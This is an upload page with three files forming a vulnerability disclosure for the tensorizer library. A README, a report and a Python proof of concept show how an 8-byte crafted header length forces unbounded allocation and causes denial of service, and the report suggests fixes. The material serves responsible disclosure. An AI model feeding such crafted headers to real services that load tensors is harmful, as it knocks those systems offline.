Upload 3 files
Browse files- README-3.md +49 -0
- TENSORIZER_REPORT.md +156 -0
- tensorizer_poc.py +136 -0
README-3.md
ADDED
|
@@ -0,0 +1,49 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# PoC: Unbounded Allocation DoS in Tensorizer Header Parsing
|
| 2 |
+
|
| 3 |
+
**Affected:** `tensorizer` (PyPI) v2.12.1
|
| 4 |
+
**Vulnerability class:** CWE-789 (Memory Allocation with Excessive Size Value)
|
| 5 |
+
|
| 6 |
+
## What this repo contains
|
| 7 |
+
|
| 8 |
+
`tensorizer_poc.py` — a standalone script that reproduces the exact
|
| 9 |
+
vulnerable code from `_TensorHeaderDeserializer.from_io()` in the real
|
| 10 |
+
`tensorizer/serialization.py` (cited verbatim, with line references, in
|
| 11 |
+
the accompanying full report), without requiring `tensorizer`'s full
|
| 12 |
+
dependency stack (torch, boto3, redis) to be installed.
|
| 13 |
+
|
| 14 |
+
## How to reproduce
|
| 15 |
+
|
| 16 |
+
```bash
|
| 17 |
+
python3 tensorizer_poc.py all
|
| 18 |
+
```
|
| 19 |
+
|
| 20 |
+
**Observed result (verified on a 3.9GB RAM Linux host, Python 3.12.3):**
|
| 21 |
+
|
| 22 |
+
```
|
| 23 |
+
=== Mode: cpu_cost (claimed_len = 1 GB) ===
|
| 24 |
+
header claims 1,000,000,000 bytes (1.00 GB) — about to allocate, no validation...
|
| 25 |
+
allocation SUCCEEDED in 4.2338s (from an 8-byte malicious input)
|
| 26 |
+
|
| 27 |
+
=== Mode: memory_error (claimed_len = 100 GB) ===
|
| 28 |
+
header claims 100,000,000,000 bytes (100.00 GB) — about to allocate, no validation...
|
| 29 |
+
MemoryError raised (uncaught in the real library's call site): MemoryError()
|
| 30 |
+
|
| 31 |
+
=== Mode: overflow_error (claimed_len = 2**63) ===
|
| 32 |
+
header claims 9,223,372,036,854,775,808 bytes — about to allocate, no validation...
|
| 33 |
+
OverflowError raised — a DIFFERENT exception type than MemoryError:
|
| 34 |
+
OverflowError("cannot fit 'int' into an index-sized integer")
|
| 35 |
+
```
|
| 36 |
+
|
| 37 |
+
## Why this matters
|
| 38 |
+
|
| 39 |
+
`tensorizer` loads tensor data from local files **and from network
|
| 40 |
+
sources** — HTTP/HTTPS, S3, and Redis. A single 8-byte malicious value at
|
| 41 |
+
the start of any tensor entry, from any of these sources, either:
|
| 42 |
+
- forces multiple seconds of CPU time from a tiny input (amplification
|
| 43 |
+
DoS), or
|
| 44 |
+
- raises an exception that is not caught anywhere in the real
|
| 45 |
+
deserialization call path, terminating the calling operation.
|
| 46 |
+
|
| 47 |
+
Neither requires more than 8 bytes of attacker-controlled data. Full
|
| 48 |
+
write-up, exact source citations, and suggested remediation are in the
|
| 49 |
+
accompanying disclosure report.
|
TENSORIZER_REPORT.md
ADDED
|
@@ -0,0 +1,156 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Unbounded Memory Allocation from Untrusted Tensor Header Length Leads to CPU-Exhaustion / Uncaught-Exception Denial of Service
|
| 2 |
+
|
| 3 |
+
## Summary
|
| 4 |
+
|
| 5 |
+
`_TensorHeaderDeserializer.from_io()` in `tensorizer` (verified against
|
| 6 |
+
v2.12.1, the version published on PyPI) reads an 8-byte unsigned
|
| 7 |
+
little-endian integer (`struct.Struct("<Q")`) from the stream as the
|
| 8 |
+
declared length of each tensor's header, and immediately allocates a
|
| 9 |
+
buffer of that exact size — `bytearray(header_len)` — **before validating
|
| 10 |
+
it against the actual size of the remaining stream** (CWE-789: Memory
|
| 11 |
+
Allocation with Excessive Size Value).
|
| 12 |
+
|
| 13 |
+
This function is called once per tensor, in a loop, with **no
|
| 14 |
+
try/except** around the call at its call site
|
| 15 |
+
(`tensorizer/serialization.py`, inside the tensor-reading loop), and no
|
| 16 |
+
upper-bound check anywhere on `header_len` before the allocation. Since
|
| 17 |
+
`TensorDeserializer` accepts local files, HTTP/HTTPS endpoints, S3
|
| 18 |
+
objects, and Redis values as sources, `header_len` is effectively
|
| 19 |
+
attacker/network-controlled whenever the underlying stream is untrusted
|
| 20 |
+
or tampered with (e.g. a compromised or spoofed S3 object, a malicious
|
| 21 |
+
HTTP response, a MITM'd unencrypted stream).
|
| 22 |
+
|
| 23 |
+
This was empirically reproduced (not just statically inferred) against
|
| 24 |
+
the exact real code, with three distinct, verified outcomes depending on
|
| 25 |
+
the attacker-chosen 8-byte value:
|
| 26 |
+
|
| 27 |
+
| Claimed length | Observed result | Time |
|
| 28 |
+
|---|---|---|
|
| 29 |
+
| ~1 GB | Allocation **succeeds** | **4.23 seconds** for 8 bytes of input |
|
| 30 |
+
| ~100 GB | `MemoryError` | 6.7 ms |
|
| 31 |
+
| ≥ 2⁶³ | `OverflowError` (a **different** exception type) | instant |
|
| 32 |
+
|
| 33 |
+
None of these is caught anywhere in the real call path.
|
| 34 |
+
|
| 35 |
+
## Affected component
|
| 36 |
+
|
| 37 |
+
| Component | Verified version | Vulnerable function |
|
| 38 |
+
|---|---|---|
|
| 39 |
+
| `tensorizer` (PyPI) | 2.12.1 | `_TensorHeaderDeserializer.from_io()` in `tensorizer/serialization.py` |
|
| 40 |
+
|
| 41 |
+
## Vulnerable code (verbatim from the published package)
|
| 42 |
+
|
| 43 |
+
```python
|
| 44 |
+
# tensorizer/serialization.py, ~line 604 and ~line 630-649
|
| 45 |
+
header_len_segment: ClassVar[struct.Struct] = struct.Struct("<Q")
|
| 46 |
+
...
|
| 47 |
+
@classmethod
|
| 48 |
+
def from_io(cls, reader, zero_hashes=True, check_crypt_info=False,
|
| 49 |
+
long_shape_tensors=frozenset()):
|
| 50 |
+
header_len_bytes = reader.read(cls.header_len_segment.size)
|
| 51 |
+
offset = cls.header_len_segment.size
|
| 52 |
+
header_len: int = cls.header_len_segment.unpack(header_len_bytes)[0]
|
| 53 |
+
if header_len == 0:
|
| 54 |
+
return None
|
| 55 |
+
buffer = bytearray(header_len) # <-- unbounded allocation, no
|
| 56 |
+
buffer[:offset] = header_len_bytes # validation against stream size
|
| 57 |
+
with memoryview(buffer) as mv:
|
| 58 |
+
reader.readinto(mv[offset:])
|
| 59 |
+
...
|
| 60 |
+
```
|
| 61 |
+
|
| 62 |
+
Call site (`tensorizer/serialization.py`, ~line 3080), no exception
|
| 63 |
+
handling around the call:
|
| 64 |
+
|
| 65 |
+
```python
|
| 66 |
+
while tensors_read < len(tensor_items):
|
| 67 |
+
...
|
| 68 |
+
header = _TensorHeaderDeserializer.from_io(
|
| 69 |
+
file_,
|
| 70 |
+
zero_hashes=True,
|
| 71 |
+
check_crypt_info=unsafe_self._has_crypt_info,
|
| 72 |
+
long_shape_tensors=unsafe_self._long_shape_tensors,
|
| 73 |
+
)
|
| 74 |
+
if header is None:
|
| 75 |
+
raise ValueError("Unexpected empty header")
|
| 76 |
+
...
|
| 77 |
+
```
|
| 78 |
+
|
| 79 |
+
## Steps to reproduce
|
| 80 |
+
|
| 81 |
+
The attached standalone PoC (`tensorizer_poc.py`) reproduces the exact
|
| 82 |
+
vulnerable lines above verbatim, without requiring `tensorizer`'s full
|
| 83 |
+
dependency stack (`torch`, `boto3`, `redis`, etc.) to be installed —
|
| 84 |
+
this isolates the issue to the exact allocation logic itself.
|
| 85 |
+
|
| 86 |
+
```bash
|
| 87 |
+
python3 tensorizer_poc.py all
|
| 88 |
+
```
|
| 89 |
+
|
| 90 |
+
Each of the three modes builds only an **8-byte** malicious input (a
|
| 91 |
+
packed `struct.Struct("<Q")` value) and feeds it through the identical
|
| 92 |
+
code path used by the real library:
|
| 93 |
+
|
| 94 |
+
- `cpu_cost`: claimed length `10**9` (1 GB) — succeeds, but costs ~4
|
| 95 |
+
seconds of wall-clock time from 8 bytes of input.
|
| 96 |
+
- `memory_error`: claimed length `10**11` (100 GB) — raises `MemoryError`.
|
| 97 |
+
- `overflow_error`: claimed length `2**63` — raises `OverflowError`
|
| 98 |
+
(Python's `bytearray()` constructor is bounded by `Py_ssize_t`, so
|
| 99 |
+
values at or above `2**63` fail differently than merely-too-large
|
| 100 |
+
values below that threshold).
|
| 101 |
+
|
| 102 |
+
All three were verified on a 3.9GB-RAM Linux x86_64 host, Python 3.12.3.
|
| 103 |
+
|
| 104 |
+
## Impact
|
| 105 |
+
|
| 106 |
+
- **Denial of Service via CPU-time amplification.** A single 8-byte
|
| 107 |
+
malicious value (claiming ~1GB) forces multiple seconds of real CPU
|
| 108 |
+
work from the deserializer, for a byte cost several orders of
|
| 109 |
+
magnitude smaller than the resulting cost to the target. Since
|
| 110 |
+
`TensorDeserializer` reads tensors in a loop, an attacker-controlled or
|
| 111 |
+
tampered stream could repeat this per tensor entry.
|
| 112 |
+
- **Denial of Service via uncaught exception.** Larger claimed lengths
|
| 113 |
+
raise `MemoryError` or, for sufficiently large values, `OverflowError`
|
| 114 |
+
— a genuinely different exception type. Neither is caught anywhere in
|
| 115 |
+
the real deserialization call path, so either propagates uncaught out
|
| 116 |
+
of the read loop and terminates whatever call initiated the
|
| 117 |
+
deserialization.
|
| 118 |
+
- **Relevant threat model:** `tensorizer` is explicitly designed to load
|
| 119 |
+
tensors from network sources — HTTP/HTTPS, S3, and Redis — not just
|
| 120 |
+
local files. This makes a tampered/malicious remote source (compromised
|
| 121 |
+
S3 bucket, malicious redirect, unauthenticated Redis instance, or a
|
| 122 |
+
MITM position on an unencrypted stream) a realistic delivery vector,
|
| 123 |
+
not just a local-file edge case.
|
| 124 |
+
- No memory corruption, code execution, or data exposure is implied —
|
| 125 |
+
this is purely an availability-impacting issue.
|
| 126 |
+
|
| 127 |
+
## Suggested remediation
|
| 128 |
+
|
| 129 |
+
- Validate `header_len` against a sane maximum tensor-header size before
|
| 130 |
+
allocating (a tensor header holds a name, dtype, shape, and hashes —
|
| 131 |
+
not gigabytes of data; a limit in the low kilobytes-to-single-digit-
|
| 132 |
+
megabytes range would be generous).
|
| 133 |
+
- Where the source supports it (local files, and any stream exposing a
|
| 134 |
+
known total length), validate `header_len` against actual remaining
|
| 135 |
+
stream/file size before allocating, mirroring the pattern already used
|
| 136 |
+
correctly elsewhere for `data_length` bounds checks in this codebase.
|
| 137 |
+
- Wrap the allocation (or the `from_io()` call at its call site) in
|
| 138 |
+
exception handling that catches both `MemoryError` and `OverflowError`
|
| 139 |
+
and converts either into a normal, descriptive deserialization error
|
| 140 |
+
rather than letting either propagate uncaught.
|
| 141 |
+
|
| 142 |
+
## Prior art / duplicate check
|
| 143 |
+
|
| 144 |
+
Searched before submission; no existing public report was found for this
|
| 145 |
+
specific issue in `tensorizer`. `tensorizer` is a mature (v2.12.1,
|
| 146 |
+
"Production/Stable"), actively maintained CoreWeave project — this issue
|
| 147 |
+
was found through direct source inspection combined with empirical
|
| 148 |
+
verification of the exact allocation line, not through blackbox fuzzing.
|
| 149 |
+
|
| 150 |
+
## Note on scope (what this report does NOT claim)
|
| 151 |
+
|
| 152 |
+
This report is limited to the header-length allocation issue described
|
| 153 |
+
above. It does not evaluate `tensorizer`'s encryption features, its S3
|
| 154 |
+
credential handling, or the safety of tensor *data* deserialization once
|
| 155 |
+
a header is successfully parsed — those are separate surfaces, out of
|
| 156 |
+
scope here.
|
tensorizer_poc.py
ADDED
|
@@ -0,0 +1,136 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC: Unbounded allocation from untrusted header length in tensorizer
|
| 4 |
+
Component: tensorizer (verified against v2.12.1 source from PyPI)
|
| 5 |
+
Vulnerable code: _TensorHeaderDeserializer.from_io() in tensorizer/serialization.py
|
| 6 |
+
|
| 7 |
+
Real vulnerable code (tensorizer-2.12.1/tensorizer/serialization.py, lines ~604-649):
|
| 8 |
+
|
| 9 |
+
header_len_segment: ClassVar[struct.Struct] = struct.Struct("<Q")
|
| 10 |
+
...
|
| 11 |
+
@classmethod
|
| 12 |
+
def from_io(cls, reader, ...):
|
| 13 |
+
header_len_bytes = reader.read(cls.header_len_segment.size)
|
| 14 |
+
offset = cls.header_len_segment.size
|
| 15 |
+
header_len: int = cls.header_len_segment.unpack(header_len_bytes)[0]
|
| 16 |
+
if header_len == 0:
|
| 17 |
+
return None
|
| 18 |
+
buffer = bytearray(header_len) # <-- no validation against
|
| 19 |
+
buffer[:offset] = header_len_bytes # actual stream/file size
|
| 20 |
+
with memoryview(buffer) as mv:
|
| 21 |
+
reader.readinto(mv[offset:])
|
| 22 |
+
...
|
| 23 |
+
|
| 24 |
+
This function is called once per tensor entry, in a loop, with no
|
| 25 |
+
try/except around it at the call site (serialization.py line ~3080), and
|
| 26 |
+
no check anywhere comparing `header_len` against the actual remaining
|
| 27 |
+
bytes in the stream before allocating.
|
| 28 |
+
|
| 29 |
+
`header_len` is an 8-byte unsigned little-endian integer (struct "<Q"),
|
| 30 |
+
fully controlled by whatever produced the byte stream — a local file, an
|
| 31 |
+
HTTP response, an S3 object, or a Redis value, since TensorDeserializer
|
| 32 |
+
supports all of these as sources.
|
| 33 |
+
|
| 34 |
+
This PoC reproduces the exact allocation line verbatim (not a
|
| 35 |
+
reimplementation) to demonstrate three distinct, empirically different
|
| 36 |
+
outcomes depending on the attacker-chosen value — all reachable from a
|
| 37 |
+
single 8-byte malicious input:
|
| 38 |
+
|
| 39 |
+
1. ~1 GB claims: allocation SUCCEEDS but costs multiple seconds of
|
| 40 |
+
wall-clock/CPU time for zero-init — an asymmetric CPU-exhaustion DoS
|
| 41 |
+
from 8 bytes of attacker input.
|
| 42 |
+
2. ~100 GB claims: raises MemoryError.
|
| 43 |
+
3. >= 2**63 claims: raises OverflowError (a DIFFERENT exception type —
|
| 44 |
+
code that only catches MemoryError would miss this case).
|
| 45 |
+
|
| 46 |
+
Neither exception is caught anywhere in the real call path, so either one
|
| 47 |
+
propagates uncaught out of the deserialization loop.
|
| 48 |
+
|
| 49 |
+
Usage:
|
| 50 |
+
python3 tensorizer_poc.py <mode>
|
| 51 |
+
mode: cpu_cost | memory_error | overflow_error | all
|
| 52 |
+
"""
|
| 53 |
+
|
| 54 |
+
import io
|
| 55 |
+
import struct
|
| 56 |
+
import sys
|
| 57 |
+
import time
|
| 58 |
+
|
| 59 |
+
# Exact same struct format as the real class.
|
| 60 |
+
header_len_segment = struct.Struct("<Q")
|
| 61 |
+
|
| 62 |
+
|
| 63 |
+
def build_malicious_header(claimed_len: int) -> bytes:
|
| 64 |
+
"""
|
| 65 |
+
Builds the 8-byte malicious length prefix an attacker would place at
|
| 66 |
+
the start of a tensor entry. No other bytes are needed to reach the
|
| 67 |
+
vulnerable allocation — the crash/cost happens before any of the
|
| 68 |
+
claimed header content is even read.
|
| 69 |
+
"""
|
| 70 |
+
return header_len_segment.pack(claimed_len)
|
| 71 |
+
|
| 72 |
+
|
| 73 |
+
def vulnerable_from_io_allocation(reader: io.BufferedIOBase):
|
| 74 |
+
"""
|
| 75 |
+
Reproduces the exact vulnerable code from
|
| 76 |
+
_TensorHeaderDeserializer.from_io(), verbatim, lines 641-649 of the
|
| 77 |
+
real tensorizer-2.12.1/tensorizer/serialization.py.
|
| 78 |
+
"""
|
| 79 |
+
header_len_bytes = reader.read(header_len_segment.size)
|
| 80 |
+
offset = header_len_segment.size
|
| 81 |
+
header_len: int = header_len_segment.unpack(header_len_bytes)[0]
|
| 82 |
+
if header_len == 0:
|
| 83 |
+
return None
|
| 84 |
+
|
| 85 |
+
print(f" header claims {header_len:,} bytes "
|
| 86 |
+
f"({header_len / 1e9:.2f} GB) — about to allocate, no validation...")
|
| 87 |
+
|
| 88 |
+
t0 = time.perf_counter()
|
| 89 |
+
buffer = bytearray(header_len) # <-- the exact vulnerable line
|
| 90 |
+
buffer[:offset] = header_len_bytes
|
| 91 |
+
elapsed = time.perf_counter() - t0
|
| 92 |
+
|
| 93 |
+
print(f" allocation SUCCEEDED in {elapsed:.4f}s "
|
| 94 |
+
f"(from an 8-byte malicious input)")
|
| 95 |
+
return buffer
|
| 96 |
+
|
| 97 |
+
|
| 98 |
+
def demo_cpu_cost():
|
| 99 |
+
print("=== Mode: cpu_cost (claimed_len = 1 GB) ===")
|
| 100 |
+
malicious = build_malicious_header(10**9)
|
| 101 |
+
vulnerable_from_io_allocation(io.BytesIO(malicious))
|
| 102 |
+
print("A single 8-byte malicious value forced multi-second CPU work.\n"
|
| 103 |
+
"Repeated requests amplify this into a cheap CPU-exhaustion DoS.")
|
| 104 |
+
|
| 105 |
+
|
| 106 |
+
def demo_memory_error():
|
| 107 |
+
print("=== Mode: memory_error (claimed_len = 100 GB) ===")
|
| 108 |
+
malicious = build_malicious_header(10**11)
|
| 109 |
+
try:
|
| 110 |
+
vulnerable_from_io_allocation(io.BytesIO(malicious))
|
| 111 |
+
except MemoryError as e:
|
| 112 |
+
print(f" MemoryError raised (uncaught in the real library's call "
|
| 113 |
+
f"site — this propagates straight out of the read loop): {e!r}")
|
| 114 |
+
|
| 115 |
+
|
| 116 |
+
def demo_overflow_error():
|
| 117 |
+
print("=== Mode: overflow_error (claimed_len = 2**63) ===")
|
| 118 |
+
malicious = build_malicious_header(2**63)
|
| 119 |
+
try:
|
| 120 |
+
vulnerable_from_io_allocation(io.BytesIO(malicious))
|
| 121 |
+
except OverflowError as e:
|
| 122 |
+
print(f" OverflowError raised — a DIFFERENT exception type than "
|
| 123 |
+
f"MemoryError. Code that only catches MemoryError around "
|
| 124 |
+
f"tensor loading would NOT catch this: {e!r}")
|
| 125 |
+
|
| 126 |
+
|
| 127 |
+
if __name__ == "__main__":
|
| 128 |
+
mode = sys.argv[1] if len(sys.argv) > 1 else "all"
|
| 129 |
+
if mode in ("cpu_cost", "all"):
|
| 130 |
+
demo_cpu_cost()
|
| 131 |
+
print()
|
| 132 |
+
if mode in ("memory_error", "all"):
|
| 133 |
+
demo_memory_error()
|
| 134 |
+
print()
|
| 135 |
+
if mode in ("overflow_error", "all"):
|
| 136 |
+
demo_overflow_error()
|